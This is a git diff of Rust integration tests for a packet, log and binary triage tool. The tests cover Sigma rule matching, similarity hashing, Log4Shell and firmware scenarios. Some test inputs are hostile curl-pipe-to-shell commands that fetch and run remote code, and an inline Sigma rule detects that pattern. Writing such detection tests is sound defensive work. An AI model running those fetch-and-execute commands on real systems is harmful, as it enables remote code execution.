) + }) +} + #[test] fn single_packet_emits_protocol_fields() { let output = run_precursor( @@ -115,6 +176,151 @@ fn input_blob_mode_supports_multiline_patterns() { .unwrap_or(false)); } +#[test] +fn input_binary_short_flag_matches_raw_blob_stdin() { + let payload = vec![0x7f, b'E', b'L', b'F', 0x02, 0x01, 0x01, 0x00]; + let output = run_precursor_bytes(&["(?^\\x7fELF)", "-B"], &payload); + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 1); + assert!(reports[0] + .get("tags") + .and_then(Value::as_array) + .map(|tags| tags.iter().any(|tag| tag.as_str() == Some("elf_magic"))) + .unwrap_or(false)); +} + +#[test] +fn input_binary_mode_treats_each_file_as_blob() { + let temp_dir_path = unique_temp_path("precursor-binary", "d"); + std::fs::create_dir_all(&temp_dir_path).expect("create temp dir"); + let _temp_dir_guard = TempDirGuard { + path: temp_dir_path.to_path_buf(), + }; + let first = temp_dir_path.join("first.bin"); + let second = temp_dir_path.join("second.bin"); + std::fs::write(&first, [0x7f, b'E', b'L', b'F', 0x02, 0x01]).expect("write first payload"); + std::fs::write(&second, [b'M', b'Z', 0x90, 0x00, 0x03, 0x00]).expect("write second payload"); + + let output = run_precursor( + &[ + "-p", + "samples/scenarios/firmware-fragment-triage/patterns.pcre", + "-f", + temp_dir_path.to_str().expect("temp dir utf8"), + "--input-mode", + "binary", + ], + "", + ); + + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 2); + assert!(reports.iter().any(|report| { + report + .get("tags") + .and_then(Value::as_array) + .map(|tags| tags.iter().any(|tag| tag.as_str() == Some("elf_magic"))) + .unwrap_or(false) + })); + assert!(reports.iter().any(|report| { + report + .get("tags") + .and_then(Value::as_array) + .map(|tags| tags.iter().any(|tag| tag.as_str() == Some("pe_mz_magic"))) + .unwrap_or(false) + })); +} + +#[test] +fn sigma_rule_flag_generates_patterns_without_pattern_file() { + let output = run_precursor( + &[ + "--sigma-rule", + "samples/scenarios/sigma-linux-shell-command-triage/sigma_rule.yml", + "-m", + "string", + ], + "curl -fsSL http://198.51.100.4/run | /bin/bash\n", + ); + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 1); + assert!(reports[0] + .get("tags") + .and_then(Value::as_array) + .map(|tags| tags.iter().any(|tag| { + tag.as_str() + .map(|value| value.starts_with("sigma_")) + .unwrap_or(false) + })) + .unwrap_or(false)); + assert!(reports[0] + .get("sigma_rule_matches") + .and_then(Value::as_array) + .map(|rules| !rules.is_empty()) + .unwrap_or(false)); +} + +#[test] +fn sigma_condition_filters_partial_selector_matches() { + let sigma_path = unique_temp_path("precursor-sigma", "yml"); + let _sigma_guard = TempFileGuard { + path: sigma_path.to_path_buf(), + }; + let mut sigma_file = std::fs::File::create(&sigma_path).expect("create temp sigma file"); + let sigma_rule = r#"title: Sigma Condition Filter Test +id: sigma-condition-filter-test +detection: + selection_fetch: + CommandLine|contains: + - 'curl ' + selection_shell: + CommandLine|contains: + - '/bin/sh' + condition: selection_fetch and selection_shell +"#; + sigma_file + .write_all(sigma_rule.as_bytes()) + .expect("write sigma rule"); + + let payloads = "curl http://198.51.100.1/run\ncurl http://198.51.100.2/run | /bin/sh\n"; + let output = run_precursor( + &[ + "--sigma-rule", + sigma_path.to_str().expect("sigma path utf8"), + "-m", + "string", + ], + payloads, + ); + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 1); + assert!(reports[0] + .get("sigma_rule_ids") + .and_then(Value::as_array) + .map(|ids| ids + .iter() + .any(|id| id.as_str() == Some("sigma_condition_filter_test"))) + .unwrap_or(false)); +} + +#[test] +fn vectorscan_engine_scaffold_runs_with_pcre2_fallback() { + let output = run_precursor( + &[ + "(?GET)", + "-m", + "string", + "--regex-engine", + "vectorscan", + ], + "GET /test HTTP/1.1 Host: example.org\n", + ); + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 1); + let stderr = String::from_utf8_lossy(&output.stderr); + assert!(stderr.contains("compatibility scaffold")); +} + #[test] fn lzjd_similarity_mode_emits_backend_hashes() { let line_one = @@ -158,6 +364,218 @@ fn lzjd_similarity_mode_emits_backend_hashes() { })); } +#[test] +fn fbhash_similarity_mode_emits_backend_hashes() { + let line_one = + "GET /one HTTP/1.1 Host: example.org User-Agent: precursor-long-test-agent-aaaaaaaaaa"; + let line_two = + "GET /two HTTP/1.1 Host: example.org User-Agent: precursor-long-test-agent-bbbbbbbbbb"; + let stdin_payload = format!("{}\n{}\n", line_one, line_two); + + let output = run_precursor( + &[ + "(?GET)", + "-m", + "string", + "-t", + "-d", + "--similarity-mode", + "fbhash", + "-x", + "100", + ], + &stdin_payload, + ); + + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 2); + + assert!(reports.iter().all(|report| { + report + .get("similarity_hash") + .and_then(Value::as_str) + .map(|value| value.starts_with("fbhash:")) + .unwrap_or(false) + })); + + assert!(reports.iter().any(|report| { + report + .get("tlsh_similarities") + .and_then(Value::as_object) + .map(|obj| !obj.is_empty()) + .unwrap_or(false) + })); +} + +#[test] +fn stats_flag_emits_schema_with_expected_types() { + let input = [ + "GET /alpha HTTP/1.1 Host: example.org User-Agent: stats-test-agent-aaaaaaaaaaaaaaaa", + "GET /beta HTTP/1.1 Host: example.org User-Agent: stats-test-agent-bbbbbbbbbbbbbbbb", + "GET /gamma HTTP/1.1 Host: example.org User-Agent: stats-test-agent-cccccccccccccccc", + ] + .join("\n") + + "\n"; + + let output = run_precursor( + &[ + "(?GET)", + "-m", + "string", + "-t", + "-d", + "--similarity-mode", + "lzjd", + "--stats", + ], + input.as_str(), + ); + + let stats = parse_stats_json(&output.stderr); + assert!(stats.get("---PRECURSOR_STATISTICS---").is_some()); + + let input_obj = stats + .get("Input") + .and_then(Value::as_object) + .expect("expected Input object"); + assert_eq!( + input_obj + .get("Count") + .and_then(Value::as_i64) + .expect("expected Input.Count"), + 3 + ); + assert!(input_obj.get("TotalSize").and_then(Value::as_str).is_some()); + + let match_obj = stats + .get("Match") + .and_then(Value::as_object) + .expect("expected Match object"); + assert!( + match_obj + .get("Patterns") + .and_then(Value::as_i64) + .expect("expected Match.Patterns") + >= 1 + ); + assert!( + match_obj + .get("HashesGenerated") + .and_then(Value::as_i64) + .expect("expected Match.HashesGenerated") + >= 1 + ); + + let compare_obj = stats + .get("Compare") + .and_then(Value::as_object) + .expect("expected Compare object"); + assert!( + compare_obj + .get("Similarities") + .and_then(Value::as_i64) + .expect("expected Compare.Similarities") + >= 1 + ); + + let env_obj = stats + .get("Environment") + .and_then(Value::as_object) + .expect("expected Environment object"); + assert_eq!( + env_obj + .get("SimilarityMode") + .and_then(Value::as_str) + .expect("expected SimilarityMode"), + "lzjd" + ); + assert_eq!( + env_obj + .get("RegexEngine") + .and_then(Value::as_str) + .expect("expected RegexEngine"), + "pcre2" + ); +} + +#[test] +fn stats_flag_reports_selected_similarity_mode_for_default_backends() { + let input = [ + "GET /alpha HTTP/1.1 Host: example.org User-Agent: stats-mode-agent-aaaaaaaaaaaaaaaa", + "GET /beta HTTP/1.1 Host: example.org User-Agent: stats-mode-agent-bbbbbbbbbbbbbbbb", + "GET /gamma HTTP/1.1 Host: example.org User-Agent: stats-mode-agent-cccccccccccccccc", + ] + .join("\n") + + "\n"; + + for mode in ["tlsh", "lzjd", "fbhash"] { + let output = run_precursor( + &[ + "(?GET)", + "-m", + "string", + "-t", + "-d", + "--similarity-mode", + mode, + "--stats", + ], + input.as_str(), + ); + let stats = parse_stats_json(&output.stderr); + let env_obj = stats + .get("Environment") + .and_then(Value::as_object) + .expect("expected Environment object"); + assert_eq!( + env_obj + .get("SimilarityMode") + .and_then(Value::as_str) + .expect("expected SimilarityMode"), + mode + ); + } +} + +#[test] +fn stats_flag_reports_selected_regex_engine() { + let input = [ + "GET /alpha HTTP/1.1 Host: example.org User-Agent: stats-regex-agent-aaaaaaaaaaaaaaaa", + "GET /beta HTTP/1.1 Host: example.org User-Agent: stats-regex-agent-bbbbbbbbbbbbbbbb", + "GET /gamma HTTP/1.1 Host: example.org User-Agent: stats-regex-agent-cccccccccccccccc", + ] + .join("\n") + + "\n"; + + let output = run_precursor( + &[ + "(?GET)", + "-m", + "string", + "-t", + "-d", + "--similarity-mode", + "lzjd", + "--regex-engine", + "vectorscan", + "--stats", + ], + input.as_str(), + ); + let stats = parse_stats_json(&output.stderr); + let env_obj = stats + .get("Environment") + .and_then(Value::as_object) + .expect("expected Environment object"); + assert_eq!( + env_obj + .get("RegexEngine") + .and_then(Value::as_str) + .expect("expected RegexEngine"), + "vectorscan" + ); +} + #[cfg(feature = "similarity-mrshv2")] #[test] fn mrshv2_similarity_mode_emits_backend_hashes() { diff --git a/tests/scenario_corpus_contract.rs b/tests/scenario_corpus_contract.rs index 89b0199..30e905d 100644 --- a/tests/scenario_corpus_contract.rs +++ b/tests/scenario_corpus_contract.rs @@ -36,17 +36,13 @@ fn parse_ndjson(stdout: &[u8]) -> Vec { .collect() } -fn scenario_paths() -> (PathBuf, PathBuf, PathBuf) { - let root = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("samples/scenarios"); - let pre = root.join("pre-protocol-packet-triage"); - let firmware = root.join("firmware-fragment-triage"); - let modbus = root.join("ics-modbus-single-packet"); - (pre, firmware, modbus) +fn scenario_root() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("samples/scenarios") } #[test] fn pre_protocol_packet_scenario_emits_clusterable_hashes() { - let (pre, _, _) = scenario_paths(); + let pre = scenario_root().join("pre-protocol-packet-triage"); let pattern_file = pre.join("patterns.pcre"); let payloads = std::fs::read_to_string(pre.join("payloads.b64")).expect("read payloads"); @@ -84,7 +80,7 @@ fn pre_protocol_packet_scenario_emits_clusterable_hashes() { #[test] fn firmware_fragment_scenario_hits_firmware_inference() { - let (_, firmware, _) = scenario_paths(); + let firmware = scenario_root().join("firmware-fragment-triage"); let pattern_file = firmware.join("patterns.pcre"); let payloads = std::fs::read_to_string(firmware.join("payloads.hex")).expect("read payloads"); @@ -117,7 +113,7 @@ fn firmware_fragment_scenario_hits_firmware_inference() { #[test] fn modbus_scenario_emits_protocol_hints() { - let (_, _, modbus) = scenario_paths(); + let modbus = scenario_root().join("ics-modbus-single-packet"); let pattern_file = modbus.join("patterns.pcre"); let payloads = std::fs::read_to_string(modbus.join("payloads.hex")).expect("read payloads"); @@ -156,3 +152,269 @@ fn modbus_scenario_emits_protocol_hints() { .map(|candidates| !candidates.is_empty()) .unwrap_or(false)); } + +#[test] +fn log4shell_pcap_derived_scenario_emits_http_and_jndi_tags() { + let scenario = scenario_root().join("public-log4shell-pcap-derived"); + let pattern_file = scenario.join("patterns.pcre"); + let payloads = + std::fs::read_to_string(scenario.join("payloads.string")).expect("read payloads"); + + let output = run_precursor( + &[ + "-p", + pattern_file.to_str().expect("pattern path utf8"), + "-m", + "string", + "-t", + "-d", + "-x", + "100", + "-P", + "--similarity-mode", + "lzjd", + ], + payloads.as_str(), + ); + + let reports = parse_ndjson(&output.stdout); + assert!( + reports.len() >= 6, + "expected at least 6 reports, got {}", + reports.len() + ); + assert!(reports.iter().all(|report| { + report + .get("protocol_label") + .and_then(Value::as_str) + .map(|value| value == "http") + .unwrap_or(false) + })); + assert!(reports.iter().all(|report| { + report + .get("tags") + .and_then(Value::as_array) + .map(|tags| { + tags.iter() + .any(|tag| tag.as_str() == Some("jndi_expression")) + }) + .unwrap_or(false) + })); +} + +#[test] +fn sigma_shell_scenario_generates_matches_from_sigma_yaml() { + let scenario = scenario_root().join("sigma-linux-shell-command-triage"); + let sigma_rule = scenario.join("sigma_rule.yml"); + let payloads = std::fs::read_to_string(scenario.join("payloads.log")).expect("read payloads"); + + let output = run_precursor( + &[ + "--sigma-rule", + sigma_rule.to_str().expect("sigma path utf8"), + "-m", + "string", + "-t", + "-d", + "--similarity-mode", + "lzjd", + ], + payloads.as_str(), + ); + + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 5); + assert!(reports.iter().any(|report| { + report + .get("tags") + .and_then(Value::as_array) + .map(|tags| { + tags.iter().any(|tag| { + tag.as_str() + .map(|value| value.starts_with("sigma_")) + .unwrap_or(false) + }) + }) + .unwrap_or(false) + })); + assert!(reports.iter().all(|report| { + report + .get("sigma_rule_matches") + .and_then(Value::as_array) + .map(|rules| !rules.is_empty()) + .unwrap_or(false) + })); +} + +#[test] +fn zeek_dns_log_scenario_extracts_query_field() { + let scenario = scenario_root().join("public-zeek-dns-log-triage"); + let pattern_file = scenario.join("patterns.pcre"); + let payloads = std::fs::read_to_string(scenario.join("payloads.jsonl")).expect("read payloads"); + + let output = run_precursor( + &[ + "-p", + pattern_file.to_str().expect("pattern path utf8"), + "-m", + "string", + "-j", + ".query", + "-t", + "-d", + "--similarity-mode", + "lzjd", + ], + payloads.as_str(), + ); + + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 4); + assert!(reports.iter().any(|report| { + report + .get("tags") + .and_then(Value::as_array) + .map(|tags| { + tags.iter() + .any(|tag| tag.as_str() == Some("possible_c2_domain")) + }) + .unwrap_or(false) + })); +} + +#[test] +fn foxit_log4shell_pcap_scenario_emits_fbhash_and_jndi_tags() { + let scenario = scenario_root().join("public-log4shell-foxit-pcap"); + let pattern_file = scenario.join("patterns.pcre"); + let payloads = + std::fs::read_to_string(scenario.join("payloads.string")).expect("read payloads"); + + let output = run_precursor( + &[ + "-p", + pattern_file.to_str().expect("pattern path utf8"), + "-m", + "string", + "-t", + "-d", + "--similarity-mode", + "fbhash", + "-P", + ], + payloads.as_str(), + ); + + let reports = parse_ndjson(&output.stdout); + assert!( + reports.len() >= 10, + "expected at least 10 reports, got {}", + reports.len() + ); + assert!(reports.iter().all(|report| { + report + .get("similarity_hash") + .and_then(Value::as_str) + .map(|value| value.starts_with("fbhash:")) + .unwrap_or(false) + })); + assert!(reports.iter().any(|report| { + report + .get("tags") + .and_then(Value::as_array) + .map(|tags| { + tags.iter() + .any(|tag| tag.as_str() == Some("urlencoded_jndi")) + }) + .unwrap_or(false) + })); +} + +#[test] +fn public_firmware_binwalk_scenario_tags_real_magic_headers() { + let scenario = scenario_root().join("public-firmware-binwalk-magic"); + let pattern_file = scenario.join("patterns.pcre"); + let blobs_dir = scenario.join("blobs"); + + let output = run_precursor( + &[ + "-p", + pattern_file.to_str().expect("pattern path utf8"), + "-f", + blobs_dir.to_str().expect("blobs path utf8"), + "--input-mode", + "binary", + "-t", + "-d", + "--similarity-mode", + "lzjd", + "-P", + ], + "", + ); + + let reports = parse_ndjson(&output.stdout); + assert_eq!(reports.len(), 4); + let mut saw_gzip = false; + let mut saw_romfs = false; + let mut saw_squashfs = false; + let mut saw_cramfs = false; + for report in &reports { + let Some(tags) = report.get("tags").and_then(Value::as_array) else { + continue; + }; + for tag in tags { + match tag.as_str().unwrap_or_default() { + "gzip_magic" => saw_gzip = true, + "romfs_magic" => saw_romfs = true, + "squashfs_magic" => saw_squashfs = true, + "cramfs_magic" => saw_cramfs = true, + _ => {} + } + } + } + assert!(saw_gzip, "expected gzip_magic tag"); + assert!(saw_romfs, "expected romfs_magic tag"); + assert!(saw_squashfs, "expected squashfs_magic tag"); + assert!(saw_cramfs, "expected cramfs_magic tag"); +} + +#[test] +fn foxit_pcap_extraction_script_matches_committed_payloads() { + let tshark_available = Command::new("tshark") + .arg("-v") + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + .map(|status| status.success()) + .unwrap_or(false); + if !tshark_available { + return; + } + + let scenario = scenario_root().join("public-log4shell-foxit-pcap"); + let script = scenario.join("extract_payloads.sh"); + let pcap = scenario.join("ldap-uri-params-ev0.pcap"); + let expected = + std::fs::read_to_string(scenario.join("payloads.string")).expect("read payloads"); + + let output = Command::new("bash") + .arg(script.to_str().expect("script path utf8")) + .arg(pcap.to_str().expect("pcap path utf8")) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .output() + .expect("run extraction script"); + + assert!( + output.status.success(), + "extraction script failed with status {:?}\nstderr: {}", + output.status.code(), + String::from_utf8_lossy(&output.stderr) + ); + let regenerated = String::from_utf8(output.stdout).expect("utf8 extraction output"); + assert_eq!( + regenerated.trim_end(), + expected.trim_end(), + "regenerated payloads do not match committed payloads.string" + ); +}